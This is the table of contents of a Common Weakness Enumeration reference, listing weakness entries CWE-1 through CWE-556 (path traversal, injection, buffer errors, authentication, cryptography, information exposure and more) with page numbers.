Table of Contents

Symbols Used in CWE	xxi
Individual CWE Definitions	
CWE-1: DEPRECATED: Location.....	1
CWE-2: 7PK - Environment.....	1
CWE-3: DEPRECATED: Technology-specific Environment Issues.....	1
CWE-4: J2EE Environment Issues.....	1
CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption.....	2
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length.....	3
CWE-7: J2EE Misconfiguration: Missing Custom Error Page.....	4
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote.....	6
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods.....	7
CWE-10: DEPRECATED: ASP.NET Environment Issues.....	8
CWE-11: ASP.NET Misconfiguration: Creating Debug Binary.....	8
CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page.....	9
CWE-13: ASP.NET Misconfiguration: Password in Configuration File.....	10
CWE-14: Compiler Removal of Code to Clear Buffers.....	11
CWE-15: External Control of System or Configuration Setting.....	13
CWE-16: Configuration.....	15
CWE-17: Code.....	15
CWE-18: Source Code.....	16
CWE-19: Data Processing Errors.....	16
CWE-20: Improper Input Validation.....	17
CWE-21: Pathname Traversal and Equivalence Errors.....	27
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').....	28
CWE-23: Relative Path Traversal.....	37
CWE-24: Path Traversal: './filedir'.....	42
CWE-25: Path Traversal: '/../filedir'.....	43
CWE-26: Path Traversal: '/dir/./filename'.....	45
CWE-27: Path Traversal: 'dir/././filename'.....	46
CWE-28: Path Traversal: './filedir'.....	48
CWE-29: Path Traversal: './filename'.....	49
CWE-30: Path Traversal: 'dir/./filename'.....	51
CWE-31: Path Traversal: 'dir/././filename'.....	52
CWE-32: Path Traversal: '...' (Triple Dot).....	54
CWE-33: Path Traversal: '...' (Multiple Dot).....	55
CWE-34: Path Traversal: '.../'.....	57
CWE-35: Path Traversal: '.../..'.....	59
CWE-36: Absolute Path Traversal.....	61
CWE-37: Path Traversal: '/absolute/pathname/here'.....	64
CWE-38: Path Traversal: '\\absolute\\pathname\\here'.....	65
CWE-39: Path Traversal: 'C:dirname'.....	67
CWE-40: Path Traversal: '\\UNC\\share\\name' (Windows UNC Share).....	69
CWE-41: Improper Resolution of Path Equivalence.....	70
CWE-42: Path Equivalence: 'filename.' (Trailing Dot).....	75
CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot).....	76
CWE-44: Path Equivalence: 'file.name' (Internal Dot).....	76
CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot).....	77
CWE-46: Path Equivalence: 'filename ' (Trailing Space).....	77
CWE-47: Path Equivalence: ' filename' (Leading Space).....	78
CWE-48: Path Equivalence: 'file name' (Internal Whitespace).....	79
CWE-49: Path Equivalence: 'filename/' (Trailing Slash).....	80
CWE-50: Path Equivalence: '//multiple/leading/slash'.....	80
CWE-51: Path Equivalence: '/multiple//internal/slash'.....	81
CWE-52: Path Equivalence: '/multiple/trailing/slash/'.....	82
CWE-53: Path Equivalence: '\\multiple\\internal\\backslash'.....	83
CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash).....	83
CWE-55: Path Equivalence: './.' (Single Dot Directory).....	84
CWE-56: Path Equivalence: 'filedir*' (Wildcard).....	85

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'.....	86
CWE-58: Path Equivalence: Windows 8.3 Filename.....	87
CWE-59: Improper Link Resolution Before File Access ('Link Following').....	88
CWE-60: DEPRECATED: UNIX Path Link Problems.....	91
CWE-61: UNIX Symbolic Link (Symlink) Following.....	92
CWE-62: UNIX Hard Link.....	93
CWE-63: DEPRECATED: Windows Path Link Problems.....	95
CWE-64: Windows Shortcut Following (.LNK).....	95
CWE-65: Windows Hard Link.....	96
CWE-66: Improper Handling of File Names that Identify Virtual Resources.....	97
CWE-67: Improper Handling of Windows Device Names.....	99
CWE-68: DEPRECATED: Windows Virtual File Problems.....	101
CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream.....	101
CWE-70: DEPRECATED: Mac Virtual File Problems.....	102
CWE-71: DEPRECATED: Apple '.DS_Store'.....	102
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path.....	103
CWE-73: External Control of File Name or Path.....	104
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').....	108
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection).....	111
CWE-76: Improper Neutralization of Equivalent Special Elements.....	112
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').....	113
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').....	116
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').....	126
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).....	137
CWE-81: Improper Neutralization of Script in an Error Message Web Page.....	139
CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page.....	141
CWE-83: Improper Neutralization of Script in Attributes in a Web Page.....	142
CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page.....	144
CWE-85: Doubled Character XSS Manipulations.....	145
CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages.....	147
CWE-87: Improper Neutralization of Alternate XSS Syntax.....	148
CWE-88: Argument Injection or Modification.....	150
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').....	154
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').....	163
CWE-91: XML Injection (aka Blind XPath Injection).....	165
CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters.....	167
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').....	167
CWE-94: Improper Control of Generation of Code ('Code Injection').....	168
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').....	172
CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection').....	176
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page.....	178
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').....	179
CWE-99: Improper Control of Resource Identifiers ('Resource Injection').....	185
CWE-100: DEPRECATED: Technology-Specific Input Validation Problems.....	187
CWE-101: DEPRECATED: Struts Validation Problems.....	187
CWE-102: Struts: Duplicate Validation Forms.....	188
CWE-103: Struts: Incomplete validate() Method Definition.....	188
CWE-104: Struts: Form Bean Does Not Extend Validation Class.....	190
CWE-105: Struts: Form Field Without Validator.....	192
CWE-106: Struts: Plug-in Framework not in Use.....	195
CWE-107: Struts: Unused Validation Form.....	196
CWE-108: Struts: Unvalidated Action Form.....	198
CWE-109: Struts: Validator Turned Off.....	199
CWE-110: Struts: Validator Without Form Field.....	200
CWE-111: Direct Use of Unsafe JNI.....	202
CWE-112: Missing XML Validation.....	203
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting').....	205
CWE-114: Process Control.....	208

CWE-115: Misinterpretation of Input.....	210
CWE-116: Improper Encoding or Escaping of Output.....	211
CWE-117: Improper Output Neutralization for Logs.....	217
CWE-118: Incorrect Access of Indexable Resource ('Range Error').....	219
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer.....	220
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow').....	228
CWE-121: Stack-based Buffer Overflow.....	236
CWE-122: Heap-based Buffer Overflow.....	239
CWE-123: Write-what-where Condition.....	242
CWE-124: Buffer Underwrite ('Buffer Underflow').....	244
CWE-125: Out-of-bounds Read.....	246
CWE-126: Buffer Over-read.....	248
CWE-127: Buffer Under-read.....	249
CWE-128: Wrap-around Error.....	250
CWE-129: Improper Validation of Array Index.....	252
CWE-130: Improper Handling of Length Parameter Inconsistency	260
CWE-131: Incorrect Calculation of Buffer Size.....	263
CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination.....	270
CWE-133: String Errors.....	270
CWE-134: Use of Externally-Controlled Format String.....	271
CWE-135: Incorrect Calculation of Multi-Byte String Length.....	275
CWE-136: Type Errors.....	277
CWE-137: Representation Errors.....	278
CWE-138: Improper Neutralization of Special Elements.....	278
CWE-139: DEPRECATED: General Special Element Problems.....	281
CWE-140: Improper Neutralization of Delimiters.....	281
CWE-141: Improper Neutralization of Parameter/Argument Delimiters.....	282
CWE-142: Improper Neutralization of Value Delimiters.....	283
CWE-143: Improper Neutralization of Record Delimiters.....	285
CWE-144: Improper Neutralization of Line Delimiters.....	286
CWE-145: Improper Neutralization of Section Delimiters.....	288
CWE-146: Improper Neutralization of Expression/Command Delimiters.....	289
CWE-147: Improper Neutralization of Input Terminators.....	291
CWE-148: Improper Neutralization of Input Leaders.....	292
CWE-149: Improper Neutralization of Quoting Syntax.....	293
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.....	295
CWE-151: Improper Neutralization of Comment Delimiters.....	296
CWE-152: Improper Neutralization of Macro Symbols.....	298
CWE-153: Improper Neutralization of Substitution Characters.....	299
CWE-154: Improper Neutralization of Variable Name Delimiters.....	301
CWE-155: Improper Neutralization of Wildcards or Matching Symbols.....	302
CWE-156: Improper Neutralization of Whitespace.....	303
CWE-157: Failure to Sanitize Paired Delimiters.....	305
CWE-158: Improper Neutralization of Null Byte or NUL Character.....	306
CWE-159: Failure to Sanitize Special Element.....	308
CWE-160: Improper Neutralization of Leading Special Elements.....	310
CWE-161: Improper Neutralization of Multiple Leading Special Elements.....	311
CWE-162: Improper Neutralization of Trailing Special Elements.....	312
CWE-163: Improper Neutralization of Multiple Trailing Special Elements.....	314
CWE-164: Improper Neutralization of Internal Special Elements.....	315
CWE-165: Improper Neutralization of Multiple Internal Special Elements.....	316
CWE-166: Improper Handling of Missing Special Element.....	318
CWE-167: Improper Handling of Additional Special Element.....	319
CWE-168: Improper Handling of Inconsistent Special Elements.....	320
CWE-169: DEPRECATED: Technology-Specific Special Elements.....	321
CWE-170: Improper Null Termination.....	321
CWE-171: Cleansing, Canonicalization, and Comparison Errors.....	325
CWE-172: Encoding Error.....	326
CWE-173: Improper Handling of Alternate Encoding.....	327
CWE-174: Double Decoding of the Same Data.....	329
CWE-175: Improper Handling of Mixed Encoding.....	330

CWE-176: Improper Handling of Unicode Encoding.....	332
CWE-177: Improper Handling of URL Encoding (Hex Encoding).....	333
CWE-178: Improper Handling of Case Sensitivity.....	335
CWE-179: Incorrect Behavior Order: Early Validation.....	337
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize.....	339
CWE-181: Incorrect Behavior Order: Validate Before Filter.....	341
CWE-182: Collapse of Data into Unsafe Value.....	342
CWE-183: Permissive Whitelist.....	344
CWE-184: Incomplete Blacklist.....	344
CWE-185: Incorrect Regular Expression.....	346
CWE-186: Overly Restrictive Regular Expression.....	348
CWE-187: Partial Comparison.....	349
CWE-188: Reliance on Data/Memory Layout.....	351
CWE-189: Numeric Errors.....	352
CWE-190: Integer Overflow or Wraparound.....	353
CWE-191: Integer Underflow (Wrap or Wraparound).....	358
CWE-192: Integer Coercion Error.....	360
CWE-193: Off-by-one Error.....	362
CWE-194: Unexpected Sign Extension.....	367
CWE-195: Signed to Unsigned Conversion Error.....	369
CWE-196: Unsigned to Signed Conversion Error.....	371
CWE-197: Numeric Truncation Error.....	372
CWE-198: Use of Incorrect Byte Ordering.....	375
CWE-199: Information Management Errors.....	376
CWE-200: Information Exposure.....	376
CWE-201: Information Exposure Through Sent Data.....	379
CWE-202: Exposure of Sensitive Data Through Data Queries.....	380
CWE-203: Information Exposure Through Discrepancy.....	381
CWE-204: Response Discrepancy Information Exposure.....	383
CWE-205: Information Exposure Through Behavioral Discrepancy.....	386
CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency.....	386
CWE-207: Information Exposure Through an External Behavioral Inconsistency.....	387
CWE-208: Information Exposure Through Timing Discrepancy.....	388
CWE-209: Information Exposure Through an Error Message.....	389
CWE-210: Information Exposure Through Self-generated Error Message.....	394
CWE-211: Information Exposure Through Externally-Generated Error Message.....	395
CWE-212: Improper Cross-boundary Removal of Sensitive Data.....	396
CWE-213: Intentional Information Exposure.....	399
CWE-214: Information Exposure Through Process Environment.....	400
CWE-215: Information Exposure Through Debug Information.....	401
CWE-216: Containment Errors (Container Errors).....	402
CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification.....	403
CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data.....	403
CWE-219: Sensitive Data Under Web Root.....	403
CWE-220: Sensitive Data Under FTP Root.....	404
CWE-221: Information Loss or Omission.....	405
CWE-222: Truncation of Security-relevant Information.....	406
CWE-223: Omission of Security-relevant Information.....	407
CWE-224: Obscured Security-relevant Information by Alternate Name.....	408
CWE-225: DEPRECATED (Duplicate): General Information Management Problems.....	409
CWE-226: Sensitive Information Uncleared Before Release.....	409
CWE-227: 7PK - API Abuse.....	410
CWE-228: Improper Handling of Syntactically Invalid Structure.....	411
CWE-229: Improper Handling of Values.....	413
CWE-230: Improper Handling of Missing Values.....	413
CWE-231: Improper Handling of Extra Values.....	414
CWE-232: Improper Handling of Undefined Values.....	415
CWE-233: Improper Handling of Parameters.....	416
CWE-234: Failure to Handle Missing Parameter.....	416
CWE-235: Improper Handling of Extra Parameters.....	418
CWE-236: Improper Handling of Undefined Parameters.....	419

CWE-237: Improper Handling of Structural Elements.....	419
CWE-238: Improper Handling of Incomplete Structural Elements.....	420
CWE-239: Failure to Handle Incomplete Element.....	420
CWE-240: Improper Handling of Inconsistent Structural Elements.....	421
CWE-241: Improper Handling of Unexpected Data Type.....	422
CWE-242: Use of Inherently Dangerous Function.....	423
CWE-243: Creation of chroot Jail Without Changing Working Directory.....	424
CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection').....	426
CWE-245: J2EE Bad Practices: Direct Management of Connections.....	427
CWE-246: J2EE Bad Practices: Direct Use of Sockets.....	428
CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision.....	429
CWE-248: Uncaught Exception.....	429
CWE-249: DEPRECATED: Often Misused: Path Manipulation.....	431
CWE-250: Execution with Unnecessary Privileges.....	431
CWE-251: Often Misused: String Management.....	437
CWE-252: Unchecked Return Value.....	437
CWE-253: Incorrect Check of Function Return Value.....	442
CWE-254: 7PK - Security Features.....	443
CWE-255: Credentials Management.....	444
CWE-256: Plaintext Storage of a Password.....	444
CWE-257: Storing Passwords in a Recoverable Format.....	446
CWE-258: Empty Password in Configuration File.....	448
CWE-259: Use of Hard-coded Password.....	449
CWE-260: Password in Configuration File.....	453
CWE-261: Weak Cryptography for Passwords.....	455
CWE-262: Not Using Password Aging.....	456
CWE-263: Password Aging with Long Expiration.....	457
CWE-264: Permissions, Privileges, and Access Controls.....	458
CWE-265: Privilege / Sandbox Issues.....	459
CWE-266: Incorrect Privilege Assignment.....	460
CWE-267: Privilege Defined With Unsafe Actions.....	462
CWE-268: Privilege Chaining.....	464
CWE-269: Improper Privilege Management.....	465
CWE-270: Privilege Context Switching Error.....	467
CWE-271: Privilege Dropping / Lowering Errors.....	468
CWE-272: Least Privilege Violation.....	470
CWE-273: Improper Check for Dropped Privileges.....	473
CWE-274: Improper Handling of Insufficient Privileges.....	475
CWE-275: Permission Issues.....	476
CWE-276: Incorrect Default Permissions.....	477
CWE-277: Insecure Inherited Permissions.....	479
CWE-278: Insecure Preserved Inherited Permissions.....	480
CWE-279: Incorrect Execution-Assigned Permissions.....	481
CWE-280: Improper Handling of Insufficient Permissions or Privileges	482
CWE-281: Improper Preservation of Permissions.....	484
CWE-282: Improper Ownership Management.....	484
CWE-283: Unverified Ownership.....	485
CWE-284: Improper Access Control.....	487
CWE-285: Improper Authorization.....	489
CWE-286: Incorrect User Management.....	495
CWE-287: Improper Authentication.....	495
CWE-288: Authentication Bypass Using an Alternate Path or Channel.....	500
CWE-289: Authentication Bypass by Alternate Name.....	501
CWE-290: Authentication Bypass by Spoofing.....	503
CWE-291: Reliance on IP Address for Authentication.....	505
CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name.....	507
CWE-293: Using Referer Field for Authentication.....	507
CWE-294: Authentication Bypass by Capture-replay.....	508
CWE-295: Improper Certificate Validation.....	509
CWE-296: Improper Following of a Certificate's Chain of Trust.....	512
CWE-297: Improper Validation of Certificate with Host Mismatch.....	514

CWE-298: Improper Validation of Certificate Expiration.....	516
CWE-299: Improper Check for Certificate Revocation.....	517
CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle').....	519
CWE-301: Reflection Attack in an Authentication Protocol.....	521
CWE-302: Authentication Bypass by Assumed-Immutable Data.....	522
CWE-303: Incorrect Implementation of Authentication Algorithm.....	524
CWE-304: Missing Critical Step in Authentication.....	525
CWE-305: Authentication Bypass by Primary Weakness.....	525
CWE-306: Missing Authentication for Critical Function.....	526
CWE-307: Improper Restriction of Excessive Authentication Attempts.....	530
CWE-308: Use of Single-factor Authentication.....	533
CWE-309: Use of Password System for Primary Authentication.....	535
CWE-310: Cryptographic Issues.....	536
CWE-311: Missing Encryption of Sensitive Data.....	537
CWE-312: Cleartext Storage of Sensitive Information.....	543
CWE-313: Cleartext Storage in a File or on Disk.....	546
CWE-314: Cleartext Storage in the Registry.....	547
CWE-315: Cleartext Storage of Sensitive Information in a Cookie.....	548
CWE-316: Cleartext Storage of Sensitive Information in Memory.....	549
CWE-317: Cleartext Storage of Sensitive Information in GUI.....	550
CWE-318: Cleartext Storage of Sensitive Information in Executable.....	551
CWE-319: Cleartext Transmission of Sensitive Information.....	552
CWE-320: Key Management Errors.....	554
CWE-321: Use of Hard-coded Cryptographic Key.....	555
CWE-322: Key Exchange without Entity Authentication.....	556
CWE-323: Reusing a Nonce, Key Pair in Encryption.....	558
CWE-324: Use of a Key Past its Expiration Date.....	559
CWE-325: Missing Required Cryptographic Step.....	560
CWE-326: Inadequate Encryption Strength.....	561
CWE-327: Use of a Broken or Risky Cryptographic Algorithm.....	563
CWE-328: Reversible One-Way Hash.....	568
CWE-329: Not Using a Random IV with CBC Mode.....	570
CWE-330: Use of Insufficiently Random Values.....	571
CWE-331: Insufficient Entropy.....	576
CWE-332: Insufficient Entropy in PRNG.....	578
CWE-333: Improper Handling of Insufficient Entropy in TRNG.....	579
CWE-334: Small Space of Random Values.....	580
CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG).....	581
CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG).....	582
CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG).....	583
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).....	584
CWE-339: Small Seed Space in PRNG.....	586
CWE-340: Predictability Problems.....	587
CWE-341: Predictable from Observable State.....	587
CWE-342: Predictable Exact Value from Previous Values.....	589
CWE-343: Predictable Value Range from Previous Values.....	590
CWE-344: Use of Invariant Value in Dynamically Changing Context.....	591
CWE-345: Insufficient Verification of Data Authenticity.....	591
CWE-346: Origin Validation Error.....	593
CWE-347: Improper Verification of Cryptographic Signature.....	596
CWE-348: Use of Less Trusted Source.....	597
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data.....	598
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.....	599
CWE-351: Insufficient Type Distinction.....	602
CWE-352: Cross-Site Request Forgery (CSRF).....	602
CWE-353: Missing Support for Integrity Check.....	608
CWE-354: Improper Validation of Integrity Check Value.....	609
CWE-355: User Interface Security Issues.....	611
CWE-356: Product UI does not Warn User of Unsafe Actions.....	611
CWE-357: Insufficient UI Warning of Dangerous Operations.....	612
CWE-358: Improperly Implemented Security Check for Standard.....	613

CWE-359: Exposure of Private Information ('Privacy Violation').....	614
CWE-360: Trust of System Event Data.....	616
CWE-361: 7PK - Time and State.....	617
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').....	619
CWE-363: Race Condition Enabling Link Following.....	625
CWE-364: Signal Handler Race Condition.....	626
CWE-365: Race Condition in Switch.....	630
CWE-366: Race Condition within a Thread.....	632
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.....	633
CWE-368: Context Switching Race Condition.....	637
CWE-369: Divide By Zero.....	638
CWE-370: Missing Check for Certificate Revocation after Initial Check.....	641
CWE-371: State Issues.....	642
CWE-372: Incomplete Internal State Distinction.....	642
CWE-373: DEPRECATED: State Synchronization Error.....	643
CWE-374: Passing Mutable Objects to an Untrusted Method.....	643
CWE-375: Returning a Mutable Object to an Untrusted Caller.....	646
CWE-376: Temporary File Issues.....	647
CWE-377: Insecure Temporary File.....	647
CWE-378: Creation of Temporary File With Insecure Permissions.....	649
CWE-379: Creation of Temporary File in Directory with Incorrect Permissions.....	651
CWE-380: Technology-Specific Time and State Issues.....	652
CWE-381: J2EE Time and State Issues.....	653
CWE-382: J2EE Bad Practices: Use of System.exit().....	653
CWE-383: J2EE Bad Practices: Direct Use of Threads.....	654
CWE-384: Session Fixation.....	655
CWE-385: Covert Timing Channel.....	657
CWE-386: Symbolic Name not Mapping to Correct Object.....	659
CWE-387: Signal Errors.....	660
CWE-388: 7PK - Errors.....	660
CWE-389: Error Conditions, Return Values, Status Codes.....	661
CWE-390: Detection of Error Condition Without Action.....	662
CWE-391: Unchecked Error Condition.....	666
CWE-392: Missing Report of Error Condition.....	667
CWE-393: Return of Wrong Status Code.....	668
CWE-394: Unexpected Status Code or Return Value.....	670
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference.....	670
CWE-396: Declaration of Catch for Generic Exception.....	672
CWE-397: Declaration of Throws for Generic Exception.....	673
CWE-398: 7PK - Code Quality.....	674
CWE-399: Resource Management Errors.....	675
CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion').....	676
CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak').....	682
CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak').....	684
CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak').....	685
CWE-404: Improper Resource Shutdown or Release.....	686
CWE-405: Asymmetric Resource Consumption (Amplification).....	690
CWE-406: Insufficient Control of Network Message Volume (Network Amplification).....	692
CWE-407: Algorithmic Complexity.....	693
CWE-408: Incorrect Behavior Order: Early Amplification.....	694
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).....	695
CWE-410: Insufficient Resource Pool.....	696
CWE-411: Resource Locking Problems.....	698
CWE-412: Unrestricted Externally Accessible Lock.....	698
CWE-413: Improper Resource Locking.....	700
CWE-414: Missing Lock Check.....	703
CWE-415: Double Free.....	704
CWE-416: Use After Free.....	706
CWE-417: Channel and Path Errors.....	709
CWE-418: DEPRECATED: Channel Errors.....	710

CWE-419: Unprotected Primary Channel.....	710
CWE-420: Unprotected Alternate Channel.....	711
CWE-421: Race Condition During Access to Alternate Channel.....	712
CWE-422: Unprotected Windows Messaging Channel ('Shatter').....	712
CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel.....	714
CWE-424: Improper Protection of Alternate Path.....	714
CWE-425: Direct Request ('Forced Browsing').....	714
CWE-426: Untrusted Search Path.....	716
CWE-427: Uncontrolled Search Path Element.....	720
CWE-428: Unquoted Search Path or Element.....	723
CWE-429: Handler Errors.....	725
CWE-430: Deployment of Wrong Handler.....	726
CWE-431: Missing Handler.....	727
CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations.....	728
CWE-433: Unparsed Raw Web Content Delivery.....	728
CWE-434: Unrestricted Upload of File with Dangerous Type.....	730
CWE-435: Improper Interaction Between Multiple Entities.....	736
CWE-436: Interpretation Conflict.....	737
CWE-437: Incomplete Model of Endpoint Features.....	739
CWE-438: Behavioral Problems.....	739
CWE-439: Behavioral Change in New Version or Environment.....	740
CWE-440: Expected Behavior Violation.....	741
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').....	741
CWE-442: Web Problems.....	743
CWE-443: DEPRECATED (Duplicate): HTTP response splitting.....	744
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling').....	744
CWE-445: DEPRECATED: User Interface Errors.....	747
CWE-446: UI Discrepancy for Security Feature.....	747
CWE-447: Unimplemented or Unsupported Feature in UI.....	748
CWE-448: Obsolete Feature in UI.....	749
CWE-449: The UI Performs the Wrong Action.....	750
CWE-450: Multiple Interpretations of UI Input.....	750
CWE-451: User Interface (UI) Misrepresentation of Critical Information.....	751
CWE-452: Initialization and Cleanup Errors.....	754
CWE-453: Insecure Default Variable Initialization.....	754
CWE-454: External Initialization of Trusted Variables or Data Stores.....	755
CWE-455: Non-exit on Failed Initialization.....	757
CWE-456: Missing Initialization of a Variable.....	758
CWE-457: Use of Uninitialized Variable.....	761
CWE-458: DEPRECATED: Incorrect Initialization.....	763
CWE-459: Incomplete Cleanup.....	763
CWE-460: Improper Cleanup on Thrown Exception.....	765
CWE-461: Data Structure Issues.....	766
CWE-462: Duplicate Key in Associative List (Alist).....	767
CWE-463: Deletion of Data Structure Sentinel.....	768
CWE-464: Addition of Data Structure Sentinel.....	769
CWE-465: Pointer Issues.....	770
CWE-466: Return of Pointer Value Outside of Expected Range.....	771
CWE-467: Use of sizeof() on a Pointer Type.....	772
CWE-468: Incorrect Pointer Scaling.....	774
CWE-469: Use of Pointer Subtraction to Determine Size.....	775
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').....	777
CWE-471: Modification of Assumed-Immutable Data (MAID).....	779
CWE-472: External Control of Assumed-Immutable Web Parameter.....	781
CWE-473: PHP External Variable Modification.....	783
CWE-474: Use of Function with Inconsistent Implementations.....	784
CWE-475: Undefined Behavior for Input to API.....	785
CWE-476: NULL Pointer Dereference.....	786
CWE-477: Use of Obsolete Function.....	789
CWE-478: Missing Default Case in Switch Statement.....	792
CWE-479: Signal Handler Use of a Non-reentrant Function.....	795

CWE-480: Use of Incorrect Operator.....	797
CWE-481: Assigning instead of Comparing.....	799
CWE-482: Comparing instead of Assigning.....	801
CWE-483: Incorrect Block Delimitation.....	803
CWE-484: Omitted Break Statement in Switch.....	804
CWE-485: 7PK - Encapsulation.....	806
CWE-486: Comparison of Classes by Name.....	807
CWE-487: Reliance on Package-level Scope.....	809
CWE-488: Exposure of Data Element to Wrong Session.....	810
CWE-489: Leftover Debug Code.....	811
CWE-490: Mobile Code Issues.....	813
CWE-491: Public cloneable() Method Without Final ('Object Hijack').....	813
CWE-492: Use of Inner Class Containing Sensitive Data.....	814
CWE-493: Critical Public Variable Without Final Modifier.....	820
CWE-494: Download of Code Without Integrity Check.....	822
CWE-495: Private Array-Typed Field Returned From A Public Method.....	825
CWE-496: Public Data Assigned to Private Array-Typed Field.....	826
CWE-497: Exposure of System Data to an Unauthorized Control Sphere.....	827
CWE-498: Cloneable Class Containing Sensitive Information.....	829
CWE-499: Serializable Class Containing Sensitive Data.....	830
CWE-500: Public Static Field Not Marked Final.....	831
CWE-501: Trust Boundary Violation.....	833
CWE-502: Deserialization of Untrusted Data.....	834
CWE-503: DEPRECATED: Byte/Object Code.....	837
CWE-504: DEPRECATED: Motivation/Intent.....	837
CWE-505: DEPRECATED: Intentionally Introduced Weakness.....	838
CWE-506: Embedded Malicious Code.....	838
CWE-507: Trojan Horse.....	839
CWE-508: Non-Replicating Malicious Code.....	840
CWE-509: Replicating Malicious Code (Virus or Worm).....	841
CWE-510: Trapdoor.....	841
CWE-511: Logic/Time Bomb.....	843
CWE-512: Spyware.....	843
CWE-513: DEPRECATED: Intentionally Introduced Nonmalicious Weakness.....	844
CWE-514: Covert Channel.....	844
CWE-515: Covert Storage Channel.....	845
CWE-516: DEPRECATED (Duplicate): Covert Timing Channel.....	846
CWE-517: DEPRECATED: Other Intentional, Nonmalicious Weakness.....	846
CWE-518: DEPRECATED: Inadvertently Introduced Weakness.....	846
CWE-519: .NET Environment Issues.....	847
CWE-520: .NET Misconfiguration: Use of Impersonation.....	847
CWE-521: Weak Password Requirements.....	848
CWE-522: Insufficiently Protected Credentials.....	849
CWE-523: Unprotected Transport of Credentials.....	852
CWE-524: Information Exposure Through Caching.....	852
CWE-525: Information Exposure Through Browser Caching.....	853
CWE-526: Information Exposure Through Environmental Variables.....	854
CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere.....	854
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere.....	855
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere.....	856
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere.....	856
CWE-531: Information Exposure Through Test Code.....	857
CWE-532: Information Exposure Through Log Files.....	858
CWE-533: Information Exposure Through Server Log Files.....	859
CWE-534: Information Exposure Through Debug Log Files.....	860
CWE-535: Information Exposure Through Shell Error Message.....	860
CWE-536: Information Exposure Through Servlet Runtime Error Message.....	861
CWE-537: Information Exposure Through Java Runtime Error Message.....	861
CWE-538: File and Directory Information Exposure.....	863
CWE-539: Information Exposure Through Persistent Cookies.....	864
CWE-540: Information Exposure Through Source Code.....	865

CWE-541: Information Exposure Through Include Source Code.....	866
CWE-542: Information Exposure Through Cleanup Log Files.....	867
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context.....	867
CWE-544: Missing Standardized Error Handling Mechanism.....	869
CWE-545: DEPRECATED: Use of Dynamic Class Loading.....	869
CWE-546: Suspicious Comment.....	869
CWE-547: Use of Hard-coded, Security-relevant Constants.....	870
CWE-548: Information Exposure Through Directory Listing.....	871
CWE-549: Missing Password Field Masking.....	872
CWE-550: Information Exposure Through Server Error Message.....	873
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization.....	873
CWE-552: Files or Directories Accessible to External Parties.....	874
CWE-553: Command Shell in Externally Accessible Directory.....	875
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework.....	875
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File.....	876
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation.....	877
